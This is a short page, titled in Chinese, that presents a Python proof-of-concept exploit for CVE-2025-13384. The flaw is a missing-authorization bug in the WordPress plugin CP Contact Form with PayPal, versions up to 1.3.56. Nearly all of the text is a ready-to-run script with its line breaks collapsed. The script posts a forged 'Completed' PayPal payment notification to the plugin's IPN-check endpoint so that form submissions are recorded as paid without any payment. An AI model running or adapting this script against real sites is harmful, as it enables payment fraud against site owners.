CVE-2025-13384 WordPress CP Contact Form with PayPal 插件未授权支付验证漏洞

import requests import sys # CVE-2025-13384 PoC - Missing Authorization in CP Contact Form with PayPal # Target: WordPress site with CP Contact Form with PayPal plugin <= 1.3.56 def exploit_cve_2025_13384(target_url, form_id='1'): """ Exploit for CVE-2025-13384 This PoC demonstrates how an unauthenticated attacker can forge payment notifications to mark form submissions as paid without actual payment. """ # Construct the vulnerable endpoint endpoint = f"{target_url}/?cp_contactformpp_ipncheck=1&cp_contactformpostid={form_id}" # Forge payment notification data (no signature validation) payload = { 'payment_status': 'Completed', 'txn_id': 'FAKE_TXN_' + str(hash(str(target_url)))[:10], 'payer_email': '[email protected]', 'mc_gross': '99.00', 'mc_currency': 'USD', 'item_name': 'Form Submission Payment', 'custom': form_id } print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-13384...") print(f"[*] Sending forged payment notification to: {endpoint}") try: response = requests.post(endpoint, data=payload, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") if response.status_code == 200: print("[!] Payment notification processed - form may be marked as paid") return response except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [form_id]") sys.exit(1) target = sys.argv[1] form_id = sys.argv[2] if len(sys.argv) > 2 else '1' exploit_cve_2025_13384(target, form_id)